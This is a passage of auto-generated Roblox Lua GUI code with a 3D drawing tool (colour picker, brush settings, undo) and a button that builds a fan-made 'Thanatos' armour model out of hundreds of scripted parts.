		TextLabel10.TextSize = 20
		TextLabel10.TextColor3 = Color3.new(1, 1, 1)
		TextLabel10.TextStrokeColor3 = Color3.new(1, 1, 1)
		TextLabel10.TextXAlignment = Enum.TextXAlignment.Left
		Frame11.Name = "Color"
		Frame11.Parent = Frame1
		Frame11.Transparency = 0.80000001192093
		Frame11.Size = UDim2.new(0, 121, 0, 115)
		Frame11.Position = UDim2.new(0, 201, 0, 15)
		Frame11.BackgroundColor3 = Color3.new(0.0470588, 0.0509804, 0.0588235)
		Frame11.BackgroundTransparency = 0.80000001192093
		Frame11.BorderColor3 = Color3.new(1, 1, 1)
		Frame11.BorderSizePixel = 0
		Frame11.Draggable = true
		Frame12.Parent = Frame11
		Frame12.Size = UDim2.new(0, 3, 1, 0)
		Frame12.Position = UDim2.new(1, 0, 0, 0)
		Frame12.BackgroundColor3 = Color3.new(1, 1, 1)
		Frame12.BorderSizePixel = 0
		Frame13.Parent = Frame11
		Frame13.Size = UDim2.new(1, 0, 0, 3)
		Frame13.Position = UDim2.new(0, 0, 0, -3)
		Frame13.BackgroundColor3 = Color3.new(1, 1, 1)
		Frame13.BorderSizePixel = 0
		Frame14.Parent = Frame11
		Frame14.Size = UDim2.new(1, 0, 0, 3)
		Frame14.Position = UDim2.new(0, 0, 1, 0)
		Frame14.BackgroundColor3 = Color3.new(1, 1, 1)
		Frame14.BorderSizePixel = 0
		Frame15.Parent = Frame11
		Frame15.Size = UDim2.new(0, 3, 1, 0)
		Frame15.Position = UDim2.new(0, -3, 0, 0)
		Frame15.BackgroundColor3 = Color3.new(1, 1, 1)
		Frame15.BorderSizePixel = 0
		Frame16.Name = "Picker"
		Frame16.Parent = Frame11
		Frame16.Transparency = 1
		Frame16.Size = UDim2.new(0, 286, 0, 255)
		Frame16.Position = UDim2.new(0, -372, 0, -55)
		Frame16.BackgroundColor3 = Color3.new(0.498039, 0.247059, 0.247059)
		Frame16.BackgroundTransparency = 1
		Frame16.BorderColor3 = Color3.new(0, 0, 0)
		ImageButton17.Name = "SV"
		ImageButton17.Parent = Frame16
		ImageButton17.Size = UDim2.new(0, 101, 0, 105)
		ImageButton17.Position = UDim2.new(0, 377, 0, 60)
		ImageButton17.BackgroundColor3 = Color3.new(1, 0, 0)
		ImageButton17.BorderColor3 = Color3.new(0, 0, 0)
		ImageButton17.BorderSizePixel = 0
		ImageButton17.AutoButtonColor = false
		ImageButton17.Image = "http://www.roblox.com/asset/?id=42462986"
		TextLabel18.Name = "Locator"
		TextLabel18.Parent = ImageButton17
		TextLabel18.Text = "o"
		TextLabel18.Position = UDim2.new(0.5, 0, 0.5, 0)
		TextLabel18.BorderColor3 = Color3.new(0, 0, 0)
		TextLabel18.FontSize = Enum.FontSize.Size12
		TextLabel18.TextColor3 = Color3.new(1, 1, 1)
		ImageButton19.Name = "H"
		ImageButton19.Parent = Frame16
		ImageButton19.Size = UDim2.new(0, 10, 0, 105)
		ImageButton19.Position = UDim2.new(0, 477, 0, 60)
		ImageButton19.BorderColor3 = Color3.new(0, 0, 0)
		ImageButton19.BorderSizePixel = 0
		ImageButton19.AutoButtonColor = false
		ImageButton19.Image = "http://www.roblox.com/asset/?id=42463044"
		LocalScript20.Parent = Frame16
		Color3Value21.Name = "Col"
		Color3Value21.Parent = Frame11
		TextLabel22.Name = "ColorT"
		TextLabel22.Parent = Frame1
		TextLabel22.Size = UDim2.new(0, 65, 0, 25)
		TextLabel22.Text = "0, 0, 0"
		TextLabel22.Position = UDim2.new(0, 126, 0, 100)
		TextLabel22.BackgroundColor3 = Color3.new(1, 1, 1)
		TextLabel22.BackgroundTransparency = 1
		TextLabel22.Font = Enum.Font.SourceSansBold
		TextLabel22.TextSize = 20
		TextLabel22.TextColor3 = Color3.new(1, 1, 1)
		TextLabel22.TextScaled = true
		TextLabel22.TextStrokeColor3 = Color3.new(1, 1, 1)
		TextLabel22.TextWrapped = true
		TextLabel23.Name = "Transparent"
		TextLabel23.Parent = Frame1
		TextLabel23.Size = UDim2.new(0, 25, 0, 25)
		TextLabel23.Text = "0"
		TextLabel23.Position = UDim2.new(0, 146, 0, 75)
		TextLabel23.BackgroundColor3 = Color3.new(1, 1, 1)
		TextLabel23.BackgroundTransparency = 1
		TextLabel23.Font = Enum.Font.SourceSansBold
		TextLabel23.TextSize = 20
		TextLabel23.TextColor3 = Color3.new(1, 1, 1)
		TextLabel23.TextStrokeColor3 = Color3.new(1, 1, 1)
		TextLabel23.TextWrapped = true
		TextLabel24.Name = "CanCollide"
		TextLabel24.Parent = Frame1
		TextLabel24.Size = UDim2.new(0, 55, 0, 25)
		TextLabel24.Text = "false"
		TextLabel24.Position = UDim2.new(0, 131, 0, 50)
		TextLabel24.BackgroundColor3 = Color3.new(1, 1, 1)
		TextLabel24.BackgroundTransparency = 1
		TextLabel24.Font = Enum.Font.SourceSansBold
		TextLabel24.TextSize = 20
		TextLabel24.TextColor3 = Color3.new(1, 1, 1)
		TextLabel24.TextStrokeColor3 = Color3.new(1, 1, 1)
		TextLabel24.TextWrapped = true
		TextLabel25.Name = "Thickness"
		TextLabel25.Parent = Frame1
		TextLabel25.Size = UDim2.new(0, 25, 0, 25)
		TextLabel25.Text = "1"
		TextLabel25.Position = UDim2.new(0, 146, 0, 25)
		TextLabel25.BackgroundColor3 = Color3.new(1, 1, 1)
		TextLabel25.BackgroundTransparency = 1
		TextLabel25.Font = Enum.Font.SourceSansBold
		TextLabel25.TextSize = 20
		TextLabel25.TextColor3 = Color3.new(1, 1, 1)
		TextLabel25.TextStrokeColor3 = Color3.new(1, 1, 1)
		TextLabel25.TextWrapped = true
	
		presets = GUI.Settings
		colors = presets.Color
	
		function round(num, numDecimalPlaces)
			local mult = 10^(numDecimalPlaces or 0)
			return tostring(math.floor(num * mult + 0.5) / mult)
		end
	
		spawn(function()
			local frame = colors.Picker
			local sv = frame.SV
			local h = frame.H
			local locator = sv.Locator
	
			local hue = 0
			local saturation = 0.5
			local value = 0.5
	
			local changingHue = false
			local changingSv = false
	
			function getRGBfromHue()
				local r,g,b = 0,0,0
				if hue>=120 and hue<=240 then r = 0
				elseif hue>=300 or hue<=60 then r = 1
				elseif hue>60 and hue<120 then r = 1-(hue-60)/60
				elseif hue>240 and hue<300 then r = (hue-240)/60
				end
	
				if hue>=240 and hue<=360 then g = 0
				elseif hue>=60 and hue<=180 then g = 1
				elseif hue>180 and hue<240 then g = 1-(hue-180)/60
				elseif hue<60 then g = hue/60
				end
	
				if hue<=120 then b = 0
				elseif hue>=180 and hue<=300 then b = 1
				elseif hue>120 and hue<180 then b = (hue-120)/60
				elseif hue>300 and hue<360 then b = 1-(hue-300)/60
				end
				return r,g,b
			end
	
			function changeHue(x,y)
				if not changingHue then return end
				hue = 360*(1-(y-h.AbsolutePosition.y)/h.AbsoluteSize.y)+85
	
				local r,g,b = getRGBfromHue()
	
				sv.BackgroundColor3 = Color3.new(r,g,b)
				toRGB()
			end
	
			function changeSv(x,y)
				if not changingSv then return end
				local x,y = x-sv.AbsolutePosition.x,y-sv.AbsolutePosition.y-35
				locator.Position = UDim2.new(0,x,0,y)
				if y>=(sv.AbsoluteSize.y)/2 then locator.TextColor3 = Color3.new(1,1,1) else locator.TextColor3 = Color3.new(0,0,0) end
				saturation,value = 1-(x/sv.AbsoluteSize.x), 1-(y/sv.AbsoluteSize.y)
				toRGB()
			end
	
			function toRGB()
				local r,g,b = getRGBfromHue()
	
				local max = math.max(r,g,b)
				r,g,b = value*(r+saturation*(max-r)),value*(g+saturation*(max-g)),value*(b+saturation*(max-b))
	
	
				colors.Col.Value = Color3.new(r,g,b)
			end
	
			h.MouseButton1Down:connect(function(x,y) changingHue = true changeHue(x,y) end)
			h.MouseButton1Up:connect(function() changingHue = false end)
			h.MouseMoved:connect(changeHue)
	
			sv.MouseButton1Down:connect(function(x,y) changingSv = true changeSv(x,y) end)
			sv.MouseButton1Up:connect(function() changingSv = false end)
			sv.MouseMoved:connect(changeSv)
		end)
	
		spawn(function()
			while wait() do
				if transparency < 0 then transparency = 0 end
				if transparency > 1 then transparency = 0 end
				color = colors.Col.Value
				local c = color
				if c.r < 0 then
					c = Color3.new(0,c.g,c.b)
				end
				if c.g < 0 then
					c = Color3.new(c.r,0,c.b)
				end
				if c.b < 0 then
					c = Color3.new(c.r,c.g,0)
				end
				if c.r > 1 then
					c = Color3.new(1,c.g,c.b)
				end
				if c.g > 1 then
					c = Color3.new(c.r,1,c.b)
				end
				if c.b > 1 then
					c = Color3.new(c.r,c.g,1)
				end
				color = c
				colors.Col.Value = c
				presets.ColorT.Text = round(color.r,1)..", "..round(color.g,1)..", "..round(color.b,1)
				presets.Transparent.Text = tostring(transparency)
				local th = tostring(thickness)
				if thickness < 0.15 then
					th = '0.1'
				end
				presets.Thickness.Text = tostring(th)
				presets.CanCollide.Text = tostring(canCollide)
			end
		end)
	
		local UIS = game:GetService("UserInputService")
		UIS.InputEnded:connect(function(k,g)
			if k.KeyCode == Enum.KeyCode.Equals and not g then
				enabled = not enabled
			end
		end)
	
		drawings = Instance.new("Model",workspace)
		drawings.Name = "Drawings"
	
		lastd = nil
	
		spawn(function()
			while wait() do
				mouse = plr:GetMouse()
				if drawings == nil then
					drawings = Instance.new("Model",workspace)
					drawings.Name = "Drawings"
				end
				if drawings.Parent ~= workspace then
					drawings.Parent = workspace
				end
			end
		end)
	
		canCollide = false
		canStack = false
		thickness = 1
		color = Color3.new(1,0,0)
		transparency = 0
		interval = 0.1
		rainbow = false
	
	
		lastm = nil
	
		drawing = false
	
		neon = false
	
	
		local zDown = false
	
		mdown = false
		ndown = false
		bdown = false
		vdown = false
	
		spawn(function()
			while wait() do
				if ndown == true then
					if not (thickness < 0.2) then
						thickness = thickness - 0.2
					end
				end
				if mdown == true then
					if (thickness < 20) then
						thickness = thickness + 0.2
					end
				end
				if bdown == true then
					if (transparency < 0.9) then
						transparency = transparency + 0.1
						wait(0.1)
					end
				end
				if vdown == true then
					if (transparency > 0) then
						transparency = transparency - 0.1
					end
					if string.sub(tostring(transparency),1,3) == "2.7" then transparency = 0 end
					wait(0.1)
				end
			end
		end)
		killer = false
		mouse.KeyDown:connect(function(k)
			if enabled == false then return end
			local key = k:lower()
			if key == "m" then
				mdown = true
			end
			if key == "q" then
				killer = not killer
			end
			if key == "n" then
				ndown = true
			end
			if key == "x" then
				neon = not neon
			end
			if key == "b" then
				bdown = true
			end
			if key == "v" then
				vdown = true
			end
			if key == "z" then
				zDown = true
				local draw = drawings[#drawings:GetChildren()]
				if not draw then return end
				draw:Destroy()
			end
			if key == "f" then
				drawings:ClearAllChildren()
			end
			if key == "r" then
				rainbow = not rainbow
			end
			if key == "c" then
				canCollide = not canCollide
			end
		end)
	
		mouse.KeyUp:connect(function(k)
			local key = k:lower()
			if key == "m" then
				mdown = false
			end
			if key == "n" then
				ndown = false
			end
			if key == "b" then
				bdown = false
			end
			if key == "v" then
				vdown = false
			end
			if key == "z" then
				zDown = false
			end
		end)
	
		local uis = game:GetService("UserInputService")
		uis.InputBegan:connect(function(k,g)
			if g then return end
			if k.UserInputType == Enum.UserInputType.MouseButton1 then
				drawing = true
			end
		end)
		uis.InputEnded:connect(function(k,g)
			if k.UserInputType == Enum.UserInputType.MouseButton1 then
				drawing = false
			end
		end)
	
		spawn(function()
			while wait() do
				if zDown == true then
					local zWasUp = false
					local n = 0
					repeat wait() if zDown == false then zWasUp = true end n = n + 0.5 until n >= 10
					if zDown == true and zWasUp == false then
						repeat 
							game:GetService("RunService").RenderStepped:Wait()
							pcall(function() 
								local draw = drawings[#drawings:GetChildren()]
								draw:Destroy()
							end)
						until zDown == false
					end
				end
			end
		end)
	
		mouse.TargetFilter = drawings
		ldraw = nil
		game:GetService("RunService").RenderStepped:connect(function()
			if drawing == false then
				lastm = mouse.Hit.p
				ldraw = nil
			end
			print(drawing)
			if drawing == true and (lastm ~= mouse.Hit.p) and enabled then
				local mp = mouse.Hit.p
				local mh = mouse.Hit
				local mt = mouse.Target
				if not ldraw then lastm = mp end
				if true then
					if (mp - lastm).magnitude < thickness*1.5 and ldraw then return end
					local draw = Instance.new("Part",drawings)
					draw.Name = #drawings:GetChildren()
					draw.Anchored = true
					draw.CanCollide = canCollide
					if neon then
						draw.Material = "Neon"
					else
						draw.Material = "SmoothPlastic"
					end
					draw.Transparency = transparency
					draw.CFrame = CFrame.new((lastm + mouse.Hit.p)/2,lastm) 
	
					draw.Size = Vector3.new(0,0,(lastm - mp).magnitude)
					tween(draw, "Sine", "Out", 0.1, {
						Size = Vector3.new(thickness,thickness,(lastm - mp).magnitude)
					})
					local orr = draw.Size
	
					if killer then
						coroutine.resume(coroutine.create(function()
							local oz = Vector3.new(thickness,thickness,(lastm - mp).magnitude)
							while draw and draw.Parent == drawings do
								local t = tween(draw, "Sine", "InOut", 0.5, {
									Size = oz * 1.2 + Vector3.new(0.25,0.25,0)
								})
								t.Completed:Wait(0)
								local t = tween(draw, "Sine", "InOut", 0.5, {
									Size = oz
								})
								t.Completed:Wait(0)
							end
						end))
					end
	
					if rainbow == false then
						draw.Color = color
					else
						local start = 0
						spawn(function()
							local rs = 1
							while game:GetService("RunService").RenderStepped:Wait() do
								game:GetService("RunService").RenderStepped:Wait()
								game:GetService("RunService").RenderStepped:Wait()
								if draw == nil or draw.Parent == nil then break end
								rs = rs + 0.2
								local r = (math.sin(start/2)/2)+0.5
								local g = (math.sin(start)/2)+0.5
								local b = (math.sin(start*1.5)/2)+0.5
								local color3 = Color3.new(r, g, b)
								draw.Color = color3
								start = start + interval + math.abs(math.sin(rs))/10
							end
						end)
					end
					ldraw = draw
				end
			end
			lastm = mouse.Hit.p
		end)
	
	end)
end;
task.spawn(C_81);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_85()
local script = G2L["85"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		-- Thanatos Script, by yeox769.
		-- Built with my Yeox Engine.
		-- Credit goes to Ucalegen/Fenrier for the clerp function, as well as the functions required to make it work.
	
		-- If you somehow managed to get this script, you may edit it.
		-- If you do edit this, however, please give credit in some way.
	
		-- If you leak this, please at least give credit.
		-- I'd prefer if you didn't leak this at all though, but I know you people are going to anyway.
	
		--Converted with ttyyuu12345's model to script plugin v4
		function sandbox(var,func)
			local env = getfenv(func)
			local newenv = setmetatable({},{
				__index = function(self,k)
					if k=="script" then
						return var
					else
						return env[k]
					end
				end,
			})
			setfenv(func,newenv)
			return func
		end
		cors = {}
		mas = Instance.new("Model",game:GetService("Lighting"))
		Model0 = Instance.new("Model")
		Model1 = Instance.new("Model")
		Part2 = Instance.new("Part")
		WedgePart3 = Instance.new("WedgePart")
		Part4 = Instance.new("Part")
		BlockMesh5 = Instance.new("BlockMesh")
		Part6 = Instance.new("Part")
		BlockMesh7 = Instance.new("BlockMesh")
		Part8 = Instance.new("Part")
		BlockMesh9 = Instance.new("BlockMesh")
		Part10 = Instance.new("Part")
		BlockMesh11 = Instance.new("BlockMesh")
		WedgePart12 = Instance.new("WedgePart")
		WedgePart13 = Instance.new("WedgePart")
		WedgePart14 = Instance.new("WedgePart")
		WedgePart15 = Instance.new("WedgePart")
		WedgePart16 = Instance.new("WedgePart")
		WedgePart17 = Instance.new("WedgePart")
		WedgePart18 = Instance.new("WedgePart")
		WedgePart19 = Instance.new("WedgePart")
		WedgePart20 = Instance.new("WedgePart")
		WedgePart21 = Instance.new("WedgePart")
		WedgePart22 = Instance.new("WedgePart")
		WedgePart23 = Instance.new("WedgePart")
		Part24 = Instance.new("Part")
		BlockMesh25 = Instance.new("BlockMesh")
		Part26 = Instance.new("Part")
		BlockMesh27 = Instance.new("BlockMesh")
		Part28 = Instance.new("Part")
		BlockMesh29 = Instance.new("BlockMesh")
		Part30 = Instance.new("Part")
		BlockMesh31 = Instance.new("BlockMesh")
		Part32 = Instance.new("Part")
		BlockMesh33 = Instance.new("BlockMesh")
		Part34 = Instance.new("Part")
		BlockMesh35 = Instance.new("BlockMesh")
		Part36 = Instance.new("Part")
		BlockMesh37 = Instance.new("BlockMesh")
		Part38 = Instance.new("Part")
		BlockMesh39 = Instance.new("BlockMesh")
		Part40 = Instance.new("Part")
		BlockMesh41 = Instance.new("BlockMesh")
		Part42 = Instance.new("Part")
		BlockMesh43 = Instance.new("BlockMesh")
		Part44 = Instance.new("Part")
		BlockMesh45 = Instance.new("BlockMesh")
		Part46 = Instance.new("Part")
		BlockMesh47 = Instance.new("BlockMesh")
		Part48 = Instance.new("Part")
		Decal49 = Instance.new("Decal")
		Part50 = Instance.new("Part")
		Part51 = Instance.new("Part")
		WedgePart52 = Instance.new("WedgePart")
		WedgePart53 = Instance.new("WedgePart")
		WedgePart54 = Instance.new("WedgePart")
		Model55 = Instance.new("Model")
		Part56 = Instance.new("Part")
		Model57 = Instance.new("Model")
		Part58 = Instance.new("Part")
		WedgePart59 = Instance.new("WedgePart")
		Part60 = Instance.new("Part")
		BlockMesh61 = Instance.new("BlockMesh")
		Part62 = Instance.new("Part")
		BlockMesh63 = Instance.new("BlockMesh")
		WedgePart64 = Instance.new("WedgePart")
		WedgePart65 = Instance.new("WedgePart")
		WedgePart66 = Instance.new("WedgePart")
		WedgePart67 = Instance.new("WedgePart")
		WedgePart68 = Instance.new("WedgePart")
		WedgePart69 = Instance.new("WedgePart")
		WedgePart70 = Instance.new("WedgePart")
		WedgePart71 = Instance.new("WedgePart")
		WedgePart72 = Instance.new("WedgePart")
		WedgePart73 = Instance.new("WedgePart")
		WedgePart74 = Instance.new("WedgePart")
		WedgePart75 = Instance.new("WedgePart")
		WedgePart76 = Instance.new("WedgePart")
		Part77 = Instance.new("Part")
		BlockMesh78 = Instance.new("BlockMesh")
		Part79 = Instance.new("Part")
		BlockMesh80 = Instance.new("BlockMesh")
		Part81 = Instance.new("Part")
		BlockMesh82 = Instance.new("BlockMesh")
		Part83 = Instance.new("Part")
		BlockMesh84 = Instance.new("BlockMesh")
		Part85 = Instance.new("Part")
		BlockMesh86 = Instance.new("BlockMesh")
		Part87 = Instance.new("Part")
		BlockMesh88 = Instance.new("BlockMesh")
		Part89 = Instance.new("Part")
		BlockMesh90 = Instance.new("BlockMesh")
		Part91 = Instance.new("Part")
		BlockMesh92 = Instance.new("BlockMesh")
		Part93 = Instance.new("Part")
		BlockMesh94 = Instance.new("BlockMesh")
		Part95 = Instance.new("Part")
		BlockMesh96 = Instance.new("BlockMesh")
		Part97 = Instance.new("Part")
		BlockMesh98 = Instance.new("BlockMesh")
		Part99 = Instance.new("Part")
		BlockMesh100 = Instance.new("BlockMesh")
		Part101 = Instance.new("Part")
		BlockMesh102 = Instance.new("BlockMesh")
		Part103 = Instance.new("Part")
		BlockMesh104 = Instance.new("BlockMesh")
		Part105 = Instance.new("Part")
		Part106 = Instance.new("Part")
		WedgePart107 = Instance.new("WedgePart")
		WedgePart108 = Instance.new("WedgePart")
		Model109 = Instance.new("Model")
		Part110 = Instance.new("Part")
		Model111 = Instance.new("Model")
		Part112 = Instance.new("Part")
		Part113 = Instance.new("Part")
		BlockMesh114 = Instance.new("BlockMesh")
		Part115 = Instance.new("Part")
		BlockMesh116 = Instance.new("BlockMesh")
		Part117 = Instance.new("Part")
		BlockMesh118 = Instance.new("BlockMesh")
		Part119 = Instance.new("Part")
		CylinderMesh120 = Instance.new("CylinderMesh")
		Part121 = Instance.new("Part")
		CylinderMesh122 = Instance.new("CylinderMesh")
		Part123 = Instance.new("Part")
		BlockMesh124 = Instance.new("BlockMesh")
		Part125 = Instance.new("Part")
		CylinderMesh126 = Instance.new("CylinderMesh")
		Part127 = Instance.new("Part")
		CylinderMesh128 = Instance.new("CylinderMesh")
		Part129 = Instance.new("Part")
		BlockMesh130 = Instance.new("BlockMesh")
		Part131 = Instance.new("Part")
		BlockMesh132 = Instance.new("BlockMesh")
		WedgePart133 = Instance.new("WedgePart")
		SpecialMesh134 = Instance.new("SpecialMesh")
		WedgePart135 = Instance.new("WedgePart")
		SpecialMesh136 = Instance.new("SpecialMesh")
		WedgePart137 = Instance.new("WedgePart")
		WedgePart138 = Instance.new("WedgePart")
		WedgePart139 = Instance.new("WedgePart")
		SpecialMesh140 = Instance.new("SpecialMesh")
		WedgePart141 = Instance.new("WedgePart")
		SpecialMesh142 = Instance.new("SpecialMesh")
		WedgePart143 = Instance.new("WedgePart")
		SpecialMesh144 = Instance.new("SpecialMesh")
		WedgePart145 = Instance.new("WedgePart")
		WedgePart146 = Instance.new("WedgePart")
		WedgePart147 = Instance.new("WedgePart")
		WedgePart148 = Instance.new("WedgePart")
		WedgePart149 = Instance.new("WedgePart")
		SpecialMesh150 = Instance.new("SpecialMesh")
		WedgePart151 = Instance.new("WedgePart")
		SpecialMesh152 = Instance.new("SpecialMesh")
		WedgePart153 = Instance.new("WedgePart")
		SpecialMesh154 = Instance.new("SpecialMesh")
		WedgePart155 = Instance.new("WedgePart")
		SpecialMesh156 = Instance.new("SpecialMesh")
		WedgePart157 = Instance.new("WedgePart")
		SpecialMesh158 = Instance.new("SpecialMesh")
		WedgePart159 = Instance.new("WedgePart")
		SpecialMesh160 = Instance.new("SpecialMesh")
		WedgePart161 = Instance.new("WedgePart")
		SpecialMesh162 = Instance.new("SpecialMesh")
		WedgePart163 = Instance.new("WedgePart")
		SpecialMesh164 = Instance.new("SpecialMesh")
		WedgePart165 = Instance.new("WedgePart")
		SpecialMesh166 = Instance.new("SpecialMesh")
		WedgePart167 = Instance.new("WedgePart")
		SpecialMesh168 = Instance.new("SpecialMesh")
		WedgePart169 = Instance.new("WedgePart")
		SpecialMesh170 = Instance.new("SpecialMesh")
		WedgePart171 = Instance.new("WedgePart")
		SpecialMesh172 = Instance.new("SpecialMesh")
		WedgePart173 = Instance.new("WedgePart")
		SpecialMesh174 = Instance.new("SpecialMesh")
		WedgePart175 = Instance.new("WedgePart")
		SpecialMesh176 = Instance.new("SpecialMesh")
		WedgePart177 = Instance.new("WedgePart")
		SpecialMesh178 = Instance.new("SpecialMesh")
		WedgePart179 = Instance.new("WedgePart")
		WedgePart180 = Instance.new("WedgePart")
		SpecialMesh181 = Instance.new("SpecialMesh")
		WedgePart182 = Instance.new("WedgePart")
		SpecialMesh183 = Instance.new("SpecialMesh")
		WedgePart184 = Instance.new("WedgePart")
		SpecialMesh185 = Instance.new("SpecialMesh")
		WedgePart186 = Instance.new("WedgePart")
		SpecialMesh187 = Instance.new("SpecialMesh")
		WedgePart188 = Instance.new("WedgePart")
		SpecialMesh189 = Instance.new("SpecialMesh")
		WedgePart190 = Instance.new("WedgePart")
		Part191 = Instance.new("Part")
		BlockMesh192 = Instance.new("BlockMesh")
		Part193 = Instance.new("Part")
		BlockMesh194 = Instance.new("BlockMesh")
		Part195 = Instance.new("Part")
		BlockMesh196 = Instance.new("BlockMesh")
		Part197 = Instance.new("Part")
		BlockMesh198 = Instance.new("BlockMesh")
		Part199 = Instance.new("Part")
		BlockMesh200 = Instance.new("BlockMesh")
		Part201 = Instance.new("Part")
		BlockMesh202 = Instance.new("BlockMesh")
		Part203 = Instance.new("Part")
		CylinderMesh204 = Instance.new("CylinderMesh")
		Part205 = Instance.new("Part")
		CylinderMesh206 = Instance.new("CylinderMesh")
		Part207 = Instance.new("Part")
		CylinderMesh208 = Instance.new("CylinderMesh")
		Part209 = Instance.new("Part")
		CylinderMesh210 = Instance.new("CylinderMesh")
		Part211 = Instance.new("Part")
		CylinderMesh212 = Instance.new("CylinderMesh")
		Part213 = Instance.new("Part")
		CylinderMesh214 = Instance.new("CylinderMesh")
		Part215 = Instance.new("Part")
		BlockMesh216 = Instance.new("BlockMesh")
		Part217 = Instance.new("Part")
		BlockMesh218 = Instance.new("BlockMesh")
		Part219 = Instance.new("Part")
		BlockMesh220 = Instance.new("BlockMesh")
		Part221 = Instance.new("Part")
		BlockMesh222 = Instance.new("BlockMesh")
		Part223 = Instance.new("Part")
		BlockMesh224 = Instance.new("BlockMesh")
		Part225 = Instance.new("Part")
		BlockMesh226 = Instance.new("BlockMesh")
		Part227 = Instance.new("Part")
		BlockMesh228 = Instance.new("BlockMesh")
		Part229 = Instance.new("Part")
		BlockMesh230 = Instance.new("BlockMesh")
		Part231 = Instance.new("Part")
		BlockMesh232 = Instance.new("BlockMesh")
		Part233 = Instance.new("Part")
		BlockMesh234 = Instance.new("BlockMesh")
		Part235 = Instance.new("Part")
		BlockMesh236 = Instance.new("BlockMesh")
		Part237 = Instance.new("Part")
		BlockMesh238 = Instance.new("BlockMesh")
		Part239 = Instance.new("Part")
		BlockMesh240 = Instance.new("BlockMesh")
		Part241 = Instance.new("Part")
		BlockMesh242 = Instance.new("BlockMesh")
		Part243 = Instance.new("Part")
		BlockMesh244 = Instance.new("BlockMesh")
		Part245 = Instance.new("Part")
		BlockMesh246 = Instance.new("BlockMesh")
		Part247 = Instance.new("Part")
		BlockMesh248 = Instance.new("BlockMesh")
		Part249 = Instance.new("Part")
		BlockMesh250 = Instance.new("BlockMesh")
		Part251 = Instance.new("Part")
		BlockMesh252 = Instance.new("BlockMesh")
		Part253 = Instance.new("Part")
		BlockMesh254 = Instance.new("BlockMesh")
		Part255 = Instance.new("Part")
		BlockMesh256 = Instance.new("BlockMesh")
		Part257 = Instance.new("Part")
		BlockMesh258 = Instance.new("BlockMesh")
		Part259 = Instance.new("Part")
		BlockMesh260 = Instance.new("BlockMesh")
		Part261 = Instance.new("Part")
		BlockMesh262 = Instance.new("BlockMesh")
		Part263 = Instance.new("Part")
		BlockMesh264 = Instance.new("BlockMesh")
		Part265 = Instance.new("Part")
		BlockMesh266 = Instance.new("BlockMesh")
		Part267 = Instance.new("Part")
		BlockMesh268 = Instance.new("BlockMesh")
		Part269 = Instance.new("Part")
		BlockMesh270 = Instance.new("BlockMesh")
		Part271 = Instance.new("Part")
		BlockMesh272 = Instance.new("BlockMesh")
		Part273 = Instance.new("Part")
		BlockMesh274 = Instance.new("BlockMesh")
		Part275 = Instance.new("Part")
		BlockMesh276 = Instance.new("BlockMesh")
		Part277 = Instance.new("Part")
		BlockMesh278 = Instance.new("BlockMesh")
		Part279 = Instance.new("Part")
		BlockMesh280 = Instance.new("BlockMesh")
		Script281 = Instance.new("Script")
		Model0.Name = "Sonarmor"
		Model0.Parent = mas
		Model1.Name = "LeftArm"
		Model1.Parent = Model0
		Part2.Name = "Left Arm1"
		Part2.Parent = Model1
		Part2.BrickColor = BrickColor.new("Pastel yellow")
		Part2.Transparency = 1
		Part2.Rotation = Vector3.new(-180, -90, 0)
		Part2.Anchored = true
		Part2.CanCollide = false
		Part2.FormFactor = Enum.FormFactor.Symmetric
		Part2.Size = Vector3.new(1, 2, 1)
		Part2.CFrame = CFrame.new(84.721138, 2.97380614, 69.5937424, 8.15038344e-21, 2.35065841e-06, -1, 9.82558322e-19, -1, -2.35065841e-06, -1, -9.82558322e-19, -8.15269293e-21)
		Part2.Color = Color3.new(1, 1, 0.8)
		Part2.Position = Vector3.new(84.721138, 2.97380614, 69.5937424)
		Part2.Orientation = Vector3.new(0, -90, 180)
		Part2.Color = Color3.new(1, 1, 0.8)
		WedgePart3.Parent = Model1
		WedgePart3.Material = Enum.Material.SmoothPlastic
		WedgePart3.BrickColor = BrickColor.new("Navy blue")
		WedgePart3.Reflectance = 0.0049999998882413
		WedgePart3.Rotation = Vector3.new(13.4300003, 0, 90)
		WedgePart3.Anchored = true
		WedgePart3.CanCollide = false
		WedgePart3.FormFactor = Enum.FormFactor.Symmetric
		WedgePart3.Size = Vector3.new(0.220499977, 0.385874987, 0.79909116)
		WedgePart3.CFrame = CFrame.new(84.5220337, 5.39255524, 67.3724747, 1.1144477e-07, -0.999996722, 9.83477548e-07, 0.972667575, -1.19206263e-07, -0.232179835, 0.232180044, 9.53674146e-07, 0.972667694)
		WedgePart3.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart3.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart3.Position = Vector3.new(84.5220337, 5.39255524, 67.3724747)
		WedgePart3.Orientation = Vector3.new(13.4300003, 0, 90)
		WedgePart3.Color = Color3.new(0, 0.12549, 0.376471)
		Part4.Name = "Brick"
		Part4.Parent = Model1
		Part4.Material = Enum.Material.SmoothPlastic
		Part4.BrickColor = BrickColor.new("Navy blue")
		Part4.Rotation = Vector3.new(0, 90, 0)
		Part4.Anchored = true
		Part4.CanCollide = false
		Part4.FormFactor = Enum.FormFactor.Symmetric
		Part4.Size = Vector3.new(1.19828081, 0.570214629, 1.1971724)
		Part4.CFrame = CFrame.new(84.7160492, 2.46017599, 69.6111679, -1.74450037e-07, -1.85120143e-06, 1, -4.62681055e-06, 0.99999994, 1.85119507e-06, -0.99999994, -4.62681055e-06, -1.74458165e-07)
		Part4.BottomSurface = Enum.SurfaceType.Smooth
		Part4.TopSurface = Enum.SurfaceType.Smooth
		Part4.Color = Color3.new(0, 0.12549, 0.376471)
		Part4.Position = Vector3.new(84.7160492, 2.46017599, 69.6111679)
		Part4.Orientation = Vector3.new(0, 90, 0)
		Part4.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh5.Parent = Part4
		Part6.Name = "Brick"
		Part6.Parent = Model1
		Part6.Material = Enum.Material.SmoothPlastic
		Part6.BrickColor = BrickColor.new("Black")
		Part6.Reflectance = 0.0049999998882413
		Part6.Rotation = Vector3.new(79.2300034, 0, 0)
		Part6.Anchored = true
		Part6.CanCollide = false
		Part6.FormFactor = Enum.FormFactor.Symmetric
		Part6.Size = Vector3.new(1.10684443, 0.201244384, 0.806359112)
		Part6.CFrame = CFrame.new(84.713829, 4.26771784, 69.8875198, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
